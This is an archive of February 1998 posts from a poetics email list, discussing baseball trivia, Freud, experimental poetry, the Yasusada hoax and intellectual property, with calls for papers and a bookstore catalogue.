11,000 Montevideo
URUGUAY

==========

Centre Culturel Aragon Oyonnax
Place Georges Pompidou 01100
Oyonnax, France
Tel. 04.74.81.96.80
Fax. 04.74.81.96.86

Exposition BOITE POSTALE 03.98
March 23 to May 16, 1998
and from there to other locations

Please send messages, decorated envelopes, unusual letters, objects of all kinds to be hung on the white walls of the exhibit hall, to

Chantal Rigolet
Bopite Postale 0398
01108 Oyonnax Cedex

(There is no deadline given.)

==========

Irving Weiss
http://www.geocities.com/SoHo/Cafe/6316/

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479. George Bowering

Re: Warren Spahn or warring spam?

Thu 12 Feb 1998

> *...Perhaps it is that Spahn won 323 games -- can that be true? That's a lot of games.*
>
> *Tom Mandel*

He won a LOT more than that.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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480. **Gwyn McVay**
Re: 44
Thu 12 Feb 1998

I always thought it was "Been All Around This World"--"open up that door / Before I have to come on in with my old .44"--

On Wed, 11 Feb 1998, Jack Spandrift wrote:

> *Prejsnar, name that blues song:*
>
> *"got me a 44..." [this is a query]*
>
> *- Spandrift*

↑ Index

481. **MAYHEW**
Freud and Silliman
Thu 12 Feb 1998

Ron Silliman's post on Freud was thought provoking. I am wondering whether a Freudian Institute is less an academy than a university (is). If you are a Freudian in an English dept., you will be around people who can tell you you are full of it on a daily basis. Whereas in a Freudian institution presumably everyone will be a Freudian, creating a sort of wierd insular feeling. Ths is perhaps why Crews, boring though he might be, ran circles around the analysts in his debate with them. I was frustrated by this debate, because I wanted to hear better arguments from the Freudian defenders, but they were utterly lame.

As for the institutionalization of poetry, and the insistence that poetry be legitimated OFF campus...yes, it should. But Silliman wrote in a 1990 essay that every English dept. should have a specialist in post 1945 literature, that the university was a useful site of contestation, etc...Does this represent a change in thinking, or am I misreading something here?

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

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482. **Mark Prejsnar**
Re: 44 baseball poems
Thu 12 Feb 1998

---

it's "pray for rain" of course

Mark P.

On Tue, 10 Feb 1998, Thomas Bell wrote:

> *I think Spahn was 21. He aslo is in one of the most famous baseball poems, "Spahn and Sain, and two days rain." - although it might be forgotten now. If there is a run on Brave (Milw) numerology, what were the numbers of Burdette, Buhl. Crandell, Bruton,....?*
> *tom bell*
>
> *At 09:23 AM 2/10/98 -0600, [redacted] wrote:*
> *44 was the uniform number chosen by Henry Aaron, Willie McCovey and Reggie Jackson (the latter two in homage to the first), none of whom ever played in Japan a la Cecil Fielder, Don Blasingame or other US baseball players trying to stretch out or pump up stalled careers (fewer players have followed the path of Warren Spahn and George Brunet (who pitched until he was nearly 50) by going to Mexico instead). I forget what Spahnie's number was, although I did see him pitch once as an SF Giant (this was before Mexico) in addition to many times in a Milwaukee uniform. Still, my favorite post-US-major league event remains Louis Tiant's stint in the short-lived Senior Baseball League where he was traded from one team in Florida to another in return for 500 stuffed teddy bears.*
>
> *I have too many friends who are Freudian analysts to treat as casually as I've seen here, although its problematics could take a generation of careers to fully explore. One thing that the Freudians did which has had a huge impact in the US was to keep certification away from the university system as such (Dale Smith would approve) by setting up their own institutes. One thing this did was guarantee that there was no professor on campus who was ever the "official" Freudian in the psych department, which in turn meant that anybody in any department could volunteer for that social role, including, back when I was a student at UC Berkeley, Freddy Crews, a shallow opportunist who was widely regarded as in the sweepstakes for most boring professor in the department (Mark Schorer and Tom Parkinson competed as well and I always thought that Schorer won out simply because he'd had a 20 year head start on Crews and 10 on Parkinson) -- Crews used to teach a literature and ideology course that was a tribute to predictability and certainly never thought to try reading "unideological" texts in those terms. Anyhow, Freudianism as an ism became both a free floating signifier of the worst sort on every campus AND has become, as a formal system among professional analysts who are painfully aware of their outsiderness to the university*

> *system, fairly defensive. It's a system in which trying to think clearly or even halfway intelligibly about Freud's limits (as well as strengths) is all but impossible, though I am sure that there are careers to be made in the trying. Rethinking Marx is not dissimilar as a project beset with problems at the moment, as in The Work of Art in the Age of Hypertext etc.*
>
> *But I think the real lesson to be drawn from the Freudian adventure in the US has been what it's revealed about how universities function when a major trend in social analysis (and you never had to agree with any of Freud to see it was at least that) is set loose under those special terms.*
>
> *That's why I think it's so important that we stress, over and over, that the legitimation of poetry is something that occurs OFF campus, typically in the major urban areas but inevitably not in the MFA programs or the various anglophile critical programs (the latter these days falling all over themselves to tell us just how fab fab fabulous the new Ted Hughes' collection of necromancy is).*
>
> *Louis, thanks for the exact details re the Archives and the list -- I think that tends to point out the nature of the discourse here rather well. As I've said before, if there are 500 folks "subscribed" and a max of 50 messages possible per day, people should think very hard before posting more than one.*
>
> *Ron (still has pneumonia after 46 days) Silliman*

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483. **rsillima**
363
Thu 12 Feb 1998

Warren Spahn won 363 games, not 323, although he was born on April 23 in 1921 in Buffalo, NY, which makes him an honorary member of this list, no? And one year senior to Jackson. Spahn also won 4 world series games, not included in this total.

No, Finnegan, I don't think that the history of literature is as value neutral as you make it sound. Innovation is not a value to pre-modernists, such as the majority of those who will be at West Chester. Tim Steele writes as if the 19th century is still up for grabs. And it amounts to fraud to tell students otherwise.

Ron

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484. **Gary Sullivan**
CALL FOR WORK
Thu 12 Feb 1998

Poems, essays, letters, etc. sought for a publication observing the life, work and passing of Bay Area poet/agit-prop artist Daniel Davidson. Please extend this request to others you think might want to contribute.

Query or send work to:

Gary Sullivan
Department of History
611 Fayerweather Hall
Columbia University
New York, NY 10027

or by e-mail to:

[redacted]

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485. **Steven Shoemaker**
Re: Foucault, Ron's experimentalism and Baseball
Thu 12 Feb 1998

I think maybe the "father-poet" below is Stein. steve

On Wed, 11 Feb 1998, Don Byrd wrote:

> *Safdie Joseph wrote:*
>
> *On another note, thanks to Katy Lederer for posting a section from Foucault's only truly valuable work for my poetics, _The Order of Things_ (but what do I know, I like Baudrillard too, even his little masterpiece of invective _Forget Foucault__). But I'd like to ask Katy (and anyone else who has ventured through the formidable prose of this work), what she thinks of the period he deals with BEFORE the dead-end of the 16th century, namely the pre-Renaissance system of order and meaning, when things were luminous and so were their signs?*
>
> *Before Foucault was Foucault, at least in the U.S., Rich Grossinger translated that early section of _The Order of Things_ for his Ph.D. language exams at the University of Michigan and published it in _Io_, #4 (probably 68 or 69). He neglected to note that this was an early section out of a history, and many of us first new of Foucault as a weird French magus...*
>
> *By the way, I would recommend _Io_ to any one who can find a file of them. Much of the vitality of the poetry of that period resulted from the*

> *fact that it was being cooked up in close connection with large doses of information about stuff. I suppose some of the information in _Io_ would now seem new-ageish, but, of course, it was pre-new-age. And (I had changed the original subject line, but now I can add baseball again) in addition to issues on doctrine of signatures, ethnoastronomy, ecology, etc., there is a great issue on baseball.*
>
> *As I noted in that earlier post, Derrida comes closer to a kind of Neoplatonism with every book. _On the Name_ is closer to the writings of renaisance magicians than to the Nietzsche and Heidegger that he begun with.*
>
> *Ron, one of the generation of our father-poets, and I do not remember which one, but I am inclined to think it was Jackson, objected to being called an experimental poet on the grounds that experimenting implied that one did not know what one was doing. The poem was not an experiment, it was an event. Or would it have been David Antin?*
>
> *don*
> --
> **********
> *Don Byrd (*[redacted]*,* [redacted]*)*
> *Department of English*
> *State University of New York*
> *Albany, NY 12222*
> [redacted] *(work);* [redacted] *(home);* [redacted] *(fax)*
> *The Little Magazine (http://www.albany.edu/~litmag/)*
> **********

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486. Mark Prejsnar
Re: sublimating the ridiculous
Thu 12 Feb 1998

Well Kent, I also will wade in, since we are **all** refusing to drop the issue, and since it's reasonable pertinent to the concerns we all have here on the List, about how writing "acts" in public spaces...

Aldon and you are two of the really lively presences on the list, who contribute a lot, for my money...And I do think that between you you've articulated the issues with exceptional clarity...

I think Aldon is basically right on this one.

Various qualifications can be made..To an extent quoting without asking permission can be lived with. But oddly enuff, for the one that's arguing the laisse faire libertarian sort of position, you're reducing everthing too much to a level

of highly technical, "literal" rule-interpretation. No, this isn't a matter for litigiousness. But I would absolutely state (as someone who posts here a certain amount) that I HOPE that as a matter of courtesy and probity I be asked before anything I post here (especially other than very brief snippets) be quoted in a public forum.

That is largely how writing works and how writers and poets should behave toward each other. I know you're busy disassembling the social construction of the poet-author and all, and I think you're creating some very interesting waves while doing it. And yes like any form of publication this is a very public space. But ! I still exist in three dimesnions some of the time (I think) and have various personal and intellectual reasons I'd like to have some say in where and how my thoughts and involvements are used and abused.

I may not get what I want, but if you try sometime you can....At least state your basic principles, and wishes...

stonily,
Mark P.

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487. **Mark Prejsnar**
Re: Warren Spahn or warring spam?
Thu 12 Feb 1998

I'm not sure about Spahn's win total...But it was very impressive and (as he does tend to remind people in interviews...!) should always be placed next to the fact that 3 or 4 of what should have been his greatest years were spent fighting in WWII.

Also, he was one of the great hitting pitchers of all time. I've always thought that the possiblity tha the pitcher might get a dramatic and game-deciding hit, added to the dynamism and excitment of a game. Must have been the case when you watched Ruth as a pitcher too, or Gibson.

One other point: Spahn is helping Ted Williams with his public campaign to get Shoeless Joe (no, that's not another one of my country blues favorites) into the Hall of Fame. A huge hand to both of 'em....

Mark P.

On Wed, 11 Feb 1998, Tom Mandel wrote:

> *I *think* Warren Spahn wore # 23....*
>
> *[Re: intellectual property and Dale Smith the reprinter of posts, I must start by reminding you that I haven't agreed with anything Dale has said here recently if ever.*

> *However, this is *not* in fact a private space, but a public conversation. What is said here is already published; it is utterly public.*
>
> *Grab a phrase from a post here and search for all its words and the author's name using any search engine on the net, for example. I bet the engine returns the post you hold in email.*
>
> *Anyone, iow, can get to this list, subscribed or not.}*
>
> *...Perhaps it is that Spahn won 323 games -- can that be true? That's a lot of games.*
>
> *Tom Mandel*
>
> *Tom Mandel* [redacted]
> **********
> *Screen Porch * http://screenporch.com*
> *4020 Williamsburg Ct, Ste 200 * vox:* [redacted]
> *Fairfax, VA 22031 * fax:* [redacted]
> **********
> *Join the Caucus Conversation*

↑ Index

488. **David Kellogg**

Re: query

Thu 12 Feb 1998

Goddammit -- getting used to a new email program, I too sent to the list what should have gone to maria.

~~~
~~~

489. louis stroffolino
Re: FEBRUARY 14....
Thu 12 Feb 1998

Does anybody in the NYC area know of any party or get together that will not rub it into ones face that it is valentine's day? Any "isle of misfit toys" kind of event in which there will not be the usual happy (or "happy" for that matter) poet couples, or where at least they won't be in the vast majority? If so, please backchannel. thanks, chris stroffolino

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490. Joshua N Schuster
ok, well maybe I am an experimental poet
Thu 12 Feb 1998

I remember there was an extensive discussion about a year ago over how to name what seems like experimental (like lab coat technicians) or avant-garde (too sickly military) writing.

I also remember Jackson MacLow recently in these parts mentioning his son's article, how he thought "experimental" is incorrect when it slides into chance. According to his son, a poem could be written by chance methods only if one applied the same method several times and got different poems each time. Since Jackson often uses the computer, there is no margin for difference in the work, the same procedural method will always issue the same poem if no variables are changed.

Though it is funny to mention that Harry Mathews once mentioned that in the Oulipo game of exchanging every noun with the 7th noun after it in a dictionary (n + 7), often the results would be very different, even if everyone was using the same dictionary.

That mentioned, I'd say in all honesty I strive to be an *experimental poet*. I like the idea of technicians in lab coats (scientism aside), and I like the idea that a poem might not work. There is a sense that a certain understanding of reality might not work. This leaves writing more vulnerable to failure, but also to more absurd solutions, and for me includes the "what if..." which leaves possibility open. The idea that truth is an experiment, and could very well fail, is at the heart of a project like Derrida's. Don Byrd, interesting you call Derrida's recent work "neoplatonist", and I'm not exactly sure if you would call St. Augustine a neoplatonist, but there is an interesting moment in The Confessions where Augustine says he needs to *make* truth. Derrida picks this up in Archive Fever, just tangentially, tho that recent item is one of my favorites.

Well, in relation to the conference that Ron mentioned, I agree about the ridiculously closed use of experiment which will be assumed at such a conference. Maybe my biggest objection would be to seperating "experimentalism" from the other categories, i.e. why not expiremental translation, experimental meter, etc.

I'm not ready to give up all the history and suggestivity of "experimentalism". The challenge is all the more interesting if one has to recuperate such terms from interminable numbness. Now, that said, I think there is still something a lot more interesting than just experimentation (now that everything is open to experiment), and it's just around the corner, in some niche-world, but I'm not sure what it is...

what if...

Josh Schuster

↑ Index

491. MAYHEW
Dana Gioa
Thu 12 Feb 1998

He is not of course an "experimental poet" (Dana Gioa); I do recommend, however, his essay entitled "The Successful Career of Robert Bly." His remarks abt. Bly's translations and influence are astute. This essay is to be found in Gioa's book of essays published a few years back; I don't remember the title.

On quotation without permission I have to 2nd Maria Damon's latest post.

On Kent Johnson's problems: people don't like to be made to seem like stupid idiots, in my experience. Thus people who should have realized that Yasusada was too good to be true, but didn't, are reacting in predictable fashion.

Jonathan Mayhew
[redacted]

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492. Mark Prejsnar
Re: Broaden yr horizons
Thu 12 Feb 1998

For all who are interested,

at Aviva's request and for everyone's use:

Roots & Rhythms
(formerly Down Home Record Dist.)

Enquiries
[redacted]
Toll Free Order Line
888-ROOTS-66
FAX
[redacted] (New fax number)
Mailing address
P.O. Box 837. El Cerrito, CA 94530 U.S.A. (New address)
Electronic mail
General Information:[redacted]

Ask to receive their "Newsletter," which is their catalog (something like bi-monthly in frequency)...It is heavily annotated by their people and I find their comments largely very knowledgable and well-grounded. It features hundreds of new releases every issue, and is one of the best ways to keep up with what's available (cassette, CD and LP) in country blues, jump blues, R&B of all sorts, piano blues, gospel, old-time hillbilly and country music, doo-wop and fifties, rockabilly, all types of "roots musics." No I don't have relatives who work there. I just think they do a pretty outstanding job...

Wish I knew about 'em when I was working two jobs and making something close to a decent living..I could have afforded to give them some business. No on second thought I don't..I spent too much as it was in Boston's excellent stores, and would truly have emptied my pockets!

especially strong on my first music love, pre-1950 blues styles.

On Tue, 10 Feb 1998, Aviva Wesley Vogel wrote:

> *In a message dated 98-02-10 15:54:00 EST, you write:*
>
> *<< Roots & Rhythms (details on demand); >>*
>
> *Yes, I'd love those details!!*

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493. **Miekal And**
Re: Daniel Davidson - Partial Bibliography
Thu 12 Feb 1998

Gary:

If there is anyway that Xexoxial can help circulate Daniel Davidson's work, particularly the more marginal, unpublishable, uncategorizable kinda works that XE specializes in, be in contact with me or send such works this way.

xexoxoxoxoxoxoxoxial

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494. david bromige
why i am not an expoet
Thu 12 Feb 1998

Dana Gioia, George, campaigns for the New Formalism. His mother lives in our town, and Dana himself, after some years back East, lives nearby, possibly in the county seat, Santa Rosa. He is highly succesful, both, I hear, as a business-man, and certainly as a poet, for there are many and powerful persons out there ready to welcome a champion of those verities thee, me and a bunch of us have neglected in recent decades. And Dana is a personable bloke, and has the gift of the gab it takes to put a p-o-v over in these United States of Extravert Sensation-types (to cite Jung).

I read with him once at a monster-reading. He had memorized the poems he said to us. I _think_ they rimed. One was about a cat in-heat, serenading a tom in the tropes of Tennyson : "Come into the garden, Fred . . . I'm wearing nothing but my flea-collar." Fun. Poets locally whom I know have been impressed with him one-on-one. I haven't spoken with him yet.

Now don't tell us, George, that you haven't heard about the New Formalism! The New Formalism is just like the Old Formalism ((who am I echoing here?-- the formulation, not the content)), with its necessity removed. It's for sure caught in the contradiction of wishing to announce the end of the avant-garde by proposing itself as something new.

I don 't think you'd want to publish in any of the venues where they play. David

↑ Index

495. Aldon Nielsen
Re: In which may be found what is set forth therein
Thu 12 Feb 1998

1) sorry about my mixup re: the archives -- Now that I am reminded that millions in fact could access them, my head will swell to unmanageable proportions

2) I have been opposed to most suggestions for expansion of copyright directed at the internet -- but note that the existing copyright statutes have already been clearly found to apply to electronic media -- the debate really is about whether new applications of copyright will be created -- If you "publish" something, in any medium, it falls under copyright. People may quote from it without permission ("fair use" is, however, one of the vaguer passages in the statutes -- note different applications to song lyrics and prose) -- people may not reproduce it

"in any form" without permission -- The people who really do want to commodify writing (like the NY Times and the Washington Post syndicate) recognize this, and that is why they've tried to get freelancers to sign contracts giving up their rights to internet redistribution of their writings. But, again, I'm only asking that we all afford each other a modest degree of mutual respect -- a modest proposal indeed

3) Kent's post is disturbing -- but I don't know how to respond, as the letter was "glossed and paraphrased" -- There's clearly nothing wrong with anybody who dislikes Kent or his work for any reason communicating their dislike to any other party (or their love and admiration, for that matter) -- It is entirely up to the recipient of any such communication to decide how to act upon it --

On the other hand, I take a very dim view of people actively trying to screw up the careers and works of others through "poison" pen, email, fax etc -- BUT, not knowing any of the people involved, and having only a paraphrased version of the representation of the recipient -- I simply don't know what has happened --

Kent, can you tell us anything more specific?

4) I have recently come into possession of previously unknown Yasusada manuscripts -- Does anybody know who I should contact for permission to publish them?

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496. **David Israel**
Re: A personal appeal
Thu 12 Feb 1998

Kent --

copying (I trust w/ your pardon) Poetics, bec. of the interesting, surprise (to me) discovery of etymology w.r.t. "snafu".

Per handy WWWebsters --
http://www.m-w.com/cgi-bin/dictionary):

<< Main Entry: sna·fu
Function: noun
Etymology: situation normal all fucked up (fouled up)
Date: circa 1941
: CONFUSION, MUDDLE >>

so, snafu does NOT, I think, suggest an accident -- simply means things are (for whatever reason) a mess (or that's how I read it).

One presumes, then, that the word must have a military origin. Speaking of military, an amazing LeCarre-ish tale has hit the Wash.Post front page today w.r.t. a Russian connection to the Iraq germ warfare game.

w.r.t. = with regard do

regards,
d.i.

>>> "KENT JOHNSON" <[redacted]> 02/12 11:50 AM >>>
Hi David:

Thanks, though I've got to say I consider it to be much more than a snafu. A snafu is an accidetn, itsn't it? This is much more thna an accident. But I guess not many will care--baseball is obviously more pressing these days. Could you tell me what "wrt" means? thanks, and all best, Kent

> Date: Thu, 12 Feb 1998 00:57:31 -0500
> Reply-to: UB Poetics discussion group
<[redacted]>
> From: David Israel <[redacted]>
> Subject: Re: A personal appeal
> To: [redacted]

> *Kent --*
>
> *sorry to hear about ths snafu. Good luck w.r.t. its resolution.*
>
> *d.i.*

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497. **Aldon Nielsen**
and another thing
Thu 12 Feb 1998

Call for papers:

Pacific Ancient and Modern Language Association

conference Nov. 6-9, 1998

to be held at Scripps College in California

panel on Poetry & Poetics

500 word proposals (with 50 word abstract) by April 1 to:

Aldon L. Nielsen
Department of English
Loyola Marymount University

7900 Loyola Boulevard
Los Angeles, CA 90045-8215

I will only be able to accept three papers for this panel, and I'm hoping to be inundated with exceptionally good propsects. This is a new panel for PAMLA -- They've not done much with poetry in the past.

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498. **david bromige**
joshua _is_ an experimental poet
Thu 12 Feb 1998

---

whose post i found interesting. In part because he used the word "vulnerable". If one could count on this word being understood--in the context of categories--as including _formal_ vulnerability, as well as emotional and intellectual, I propose "vulnerable poetry" as a substitute for experimentalism. The latter, despite the good sense in Joshua's post, labors under an awful lot of freight by this stage, a lot of awful poems, to speak loosely.

This proposal is not devoid of self-interest, since my most recent published book consists of a series I title "Vulnerable Bundles," using the adjective in just the sense proposed above. Part of the sense of it is "conjectural"--which I first heard applied to poetry by Charles Olson. "Run it up the flagpole and we'll see just who salutes it;" "Send out invites and we'll see what sticks to the wall;" the flip cynicism of these phrases (taken from Madison Avenue 40 years ago) is quite unvulnerable,no doubt because those guys were taking risks and wanted to protect themselves from such knowledge. But in the beginning and the end, that's part of art. And in that sense, who wouldnt be a vulnerable poet. One would have to push hard in arguing for the larger meaning of the term.I.e. it might well be a vulnerable feeling to promote New Formalism in an un"Formalism" world; but it is _not_ a vulnerable endeavor _formally_ speaking, since its been done (& done) before. David

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499. **Aldon Nielsen**
Re: query
Thu 12 Feb 1998

OK - so the message WASN'T meant for me -- but the opening chapter of your book sounds like something I'd like to read -- and anybody who's over-identified with cultural studies is alright in my book --

yours,
Aldon (turned down by Purdue, Carnegie Mellon and USC, but got a job at last) Nielsen

↑ Index

500. Christopher W. Alexander
Re: A personal appeal
Thu 12 Feb 1998

¶ I just want to put in that I consider this kind of action despicable and tantamount to censorship of the worst kind – i.e., it reeks of cowardice by its having been decided in the back room, so to speak. whatever one's feelings about AY – and, while I find the project very stimulating in some aspects, I recognize the validity of certain objections, too – there is no room for this sort of behavior, which is something close to the accustomed tactics of the fundamentalist right – or maybe just goddamn'd mean, and what's more, foolish enough to cheat all of new & vital work to spite one person.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

501. aerialedge
New @ Bridge Street. Sound States, Berrigan, Gizzis, &
Thu 12 Feb 1998

Lots new. Thanks, Poetics, for your support. Ordering/discount information at end of list.

1. _The Adventures of Telemachus_, Louis Aragon, trans Renee Riese Hubert & Judd D. Hubert, Exact Change, $13.95. "Earwigs danced!"

2. _Walter Benjamin: A Biography_, Momme Brodersen, Verso, $19. New in paperback.

3. _Great Stories of the Chair_, Ted Berrigan, Situations, $6. 12 prose poems which appeared in _Angel Hair_ Winter 67/68, not previously reprinted. "She was very shortly afterwards words. God's noises make no sense to me. 'Seen the movie?' Ron asked but the condition: silence. Pull thin things in the house

discover the emergency break the 'yes.' Turned from walking Tessie half-naked cloth pony from a fight the importance of the situation I can't stop"

4. _The Employment of English: Theory, Jobs, and the Future_, Michael Berube, NYU, $17.95.

5. _Poem of the Cid_, a modern translation with notes by Paul Blackburn, ed. George Economu, into Luis Cortest, U. Oklahoma Press, $12.95. "The story's finished. / If you do not have money, / give us wine. / Or throw us anything of value, / jewels, clothing any-/ thing will do."

6. _The Cold War and the University: Toward an Intellectual History of the Post-war Years_, Chomsky, Wallerstein, Zinn, et.al., New Press, $12.

7. _The Eagleton Reader_, ed. S. Rosen, Blackwell, $24.95. "If Postmodernism is right, then Marxism is wrong. . ."

8. _Commodify Your Dissent: Salvos from the Baffler_, ed. Thomas Frank & Matt Weiland, Norton, $15.

9. _No Both_, Michael Gizzi, Hard Press/The Figures, $12. "Cross James Joyce and Jack Nicholson in a high energy construct machine and you have Michael Gizzi's poems"--Lisa Jarnot. "Angels are people who never blinked"

10. _Artificial Heart_, Peter Gizzi, Burning Deck, $10.
"Is the love a syringe or merely a placebo that becomes habit, / full of promise? Keep the scorecard close, Cheat."

11. _AHOE (And How On Earth)_, Anselm Hollo, Smokeproof Press, 1997, signed copies available, $8.95. "smile on, not quite animate"

12. _one crossed out_, Fanny Howe, Graywolf, $12.95. "Donate books that say NOT and NO and poets / who say Um instead of Oh."

13. _The Way the Wind Blows: A History of the Weather Underground_, Ron Jacobs, Verso, $15. "MAKE PIGS PAY"

14. _Drive_, Hettie Jones, Hanging Loose, $12. "In Taos a stranger / told me she was okay / until her ass / dropped"

15. _Home: Social Essays_, Leroi Jones, with a new preface, Ecco, $14.00. "Where a great deal of public 'sophistication' is allowed among oppressed people, the stupid misunderstanding can very quickly arise that one of them may be an 'individual.'"

16. _A Thousand Years of Nonlinear History_, Manuel De Landa, Zone Books, $24.50. "In a very real sense, reality is _a single mattter-energy_ undergoing phase transitions of various kinds, with each new layer of accumulated "stuff" simply enriching the resevoir of nonlinear dynamics and nonlinear combinatorics available for the generation of novel structures and processes. . . . Thus,

what follows will not be a chronicle of 'man' and 'his' historical achievements, but a philosophical meditation on the history of matter-energy in its different forms and of the multiple coexistences and interactions of these forms. Geological, organic, and linguistic materials will all be allowed to 'have their say' . . ."

17. _On A Stair_, Ann Lauterbach, Penguin, $14.95. "Nothing is optional. Nothing closed."

18. _Ancestral Cave_, Tom Mandel, Zasterle, $7.50. "Best to shape memorials from substitute materials."

19. _Sound States: Innovative Poetics and Acoustical Technologies_ (with accompanying CD), ed. Adalaide Morris, Univ of North Carolina Press, $24.95. "An original and innovative anthology by people thinking with an 'ear-mind' -- Rachel Blau DuPlessis. Contributors: Loretta Collins, James A. Connor, Michael Davidson, N. Katherine Hayles, Nathaniel Mackey, Steve McCaffrey, Alec McHoul, Toby Miller, Adalaide Morris, Fred Moten, Marjorie Perloff, Jed Rasula, and Garrett Stewart. The CD includes H.D., Cage, Marinetti, Raoul Hausmann, Isidore Isou, Lee "Scratch" Perry, Brathwaite, Mutabaraka, Miles Davis, Missisippi Fred McDowell, Rahsaan Roland Kirk, and others.

20. _Discredit_, Sianne Ngai, Burning Deck letterpress chapbook, $8. "You now own some furniture."

21. _Frank O'Hara: Poet Among Painters_ (w/ a new introduction), Marjorie Perloff, U. Chicago, $16.95.
". . .this _really_ happened at a _real_ show!"

22. _A Humument_, Tom Phillips, Thames & Hudson, $24.95. Back in print.

23. _Proliferation #4_, ed Mary Burger & Chris Vitiello, $8. Will Alexander, Giampiero Ambrosi,Beth Anderson, Don Michel Baude, Dan Bouchard, Jacques Debrot, Noah de Lissovoy, Susan Gevirtz, Renee Gladman, E. Tracy Grinnell & Emily Grossman, Luren Gudarth, Rob Hale, Jen Hofer, Bill Lavender, Katy Lederer, Tan Lin, Lori Lubeski, Laura Moriarty, Stephen Ratcliffe, Lisa Robertson, Leslie Scalapino, Jono Schneider, Susan Schultz, Ilana Simons, Giovanni Singleton, Chris Stroffolino, & Joseph Torra.

24. _Debbie: An Epic_, Lisa Robertson, New Star Books, $14. "Virgil's bastard daughters sing"!

25. _The Return of Painting, The Pearl, and Orion_, Leslie Scalapino, Talisman House, $19. Back in print!
"being given what one wants -- it is incredible."

26. _Sulfur 41_, $10. Includes the fabulous Niedecker "Next Year or I fly my rounds, Tempestuous" ed & intro Jenny Penberthy. Also Rich, Liu, Nerval, Rotheberg, Bernstein, Welish, Guest, Joris, Tejeda, Adonis, &&&.

27. _On the Walls and in the Streets: American Poetry Broadsides from the 1960s_, James D. Sullivan, U. Illinois, $14.95. Sullivan presents a history of the American poetry broadside from the seventeenth to the twentieth centuries. He then explores the extensive use of the broadside during the sixties with close attention to the works of Brooks, Lowell, Ginsberg, and others. "People in a number of fields-- cultural studies, history of the book, sociologists interested in material culture, historians-- will be interested in this account of broadsides, their production, and reception." --Michael Davidson

28. _The Precarious: The Art & Poetry of Celcilia Vicuna_, ed. M. Catherine de Zegher, Wesleyan, $30. Includes essays by Lucy Lippard and Kenneth Sherwood. "The river wants to be heard before it is contaminated."

29. _Doubled Flowering: From the Notebooks of Araki Yasusada_, Roof, $14.95. "This is essentially a criminal act"-- Art Vogelsang, APR. "Penis withered/ I follow a begging bowl/ into hailstones"

& some bestsellers:

The L=A=N=G=U=A=G=E Book, ed. Andrews & Bernstein, $18.95.
On the Level Everyday: Selected Talks on Poetry and the Art of Living, Ted Berrigan, $12.95.
_I-VI_, John Cage, $24.95.
MUSICAGE: Cage Muses on Words. Art. Music., Joan Retallack, $19.95.
Chain 4, $10.
Crayon Premier Issue: Jackson Mac Low Festschrift, $20.
Ghostlier Demarcations: Modern Poetry and the Material World, Michael Davidson, $35.
Guy Debord--Revolutionary: A Critical Biography, Len Bracken, $14.95.
Essays Clinical & Critical, Guy Deleuze, $17.95.
il cuore : the heart, Selected Poems Katthleen Fraser, $12.95
Perhaps this is a rescue fantasy, Heather Fuller, $10.
Some Other Kind of Mission, Lisa Jarnot, $11.
Collected Prose, Charles Olson, $19.95.
Nothing Happened and Besides I Wasn't There, Mark Wallace, $9.50.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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502. **Kali Tal**
Re: Intellectual property
Thu 12 Feb 1998

Kent,

I mostly keep my mouth shut on this list since I am so far outta the loop (partially, I admit, by choice) that discussion rarely veers into areas that are near and dear to my heart. I'm usually happy listening, and, often, I get to read really smart people writing really smart things. But the issue of intellectual property does matter to me enough to comment upon it, since, in some ways at least, it is a class issue.

> *But you're sort of adding to _my_*
> *argument-- i.e. when it comes to staked claims of "intellectual*
> *property," no matter how barbed the fence that is strung, we are*
> *dealing in an area of undecidability, of utter subjectivity and will.*
> *The fence is a phantasm, a shimmer of false consciousness, a little*
> *fart of history. Who wrote the deed you are holding in your hand?*

One could say the same thing about property rights, generally. Hell, one could say the same thing about brick walls. Theoretically, of course, the existence of the wall is in dispute, but tell that to yer broken nose. Hardly an argument *I'd* care to to make...

> *Ain't nothin new about this--it's same--old same--old. People talk,*
> *share ideas, share work, write to each other.*
>
> *Thus, the ruling class will sleep more soundly tonight, for nothing*
> *ever really changes. And all the work on that doggone*
> *Telecommunications bill!*

And this is where we differ. I hardly see the benefit to the working class if we strip folks of the right to the product of their labor. Take away intellectual property rights (the right to determine when your work is published and where) and who wins? The ruling class, far as I can see. *Especially* in the area of the new media. If they don't have to consult anybody for copyright permissions, what's to stop them from assembling mega-databases of publications and then charging libraries and individuals to access these incredibly powerful and convenient engines? Used to be that if you wanted to see interesting new poems, you hadda support the small journals and publishing houses that issue them (who, in turn, support authors, at least as much as they are able). But take away the rights of the authors and the small presses, and alluva sudden the big publishers will be swallowing alla that work and spitting it out for you on a pay-per-view basis, a service to which you *will* subscribe cuz it's so damn convenient and you don't have to go rooting around for the new stuff no more. Hell, you can't even copyright information in a bibliography (just the format) and the big

publishers like Silver Platter and Bowker make a mint off of 'em--swallowing up and incorporating the work of small bibliographers into their formats and not payin them a dime. So much for free information. What winds up happenin is that small presses die (like they're not havin a hard enough time already!), or they are run by aristos who've got enough money to support losing ventures, publishing as noblesse oblige or charity. It's tough enough out there with big corps muching up entire vertical chains of production and distribution, killin small presses and independent bookstores like slappin flies. Now you wanna take away intellectual property rights and strip authors of practically the only right they have--to say NO, I doanwanna be published in your corporate mega-machine?

If I give up my rights to tell Dale NO, then I've given up my rights to tell Bowker NO. And I won't have it.

> *here's a question. Let's say you had participated in the Mike and Dale's discussion and Dale had called to tell you he wanted to reprint your posts in full, along with numerous others. And let's say that you were in a bad mood or something like that and said No. And let's say that Dale said, Well I wan't _asking_ you, I was just informing you because this discussion is about the integrity of my magazine. And then he went ahead and did it. Published it, I mean. You have one call. Who do you call first?*

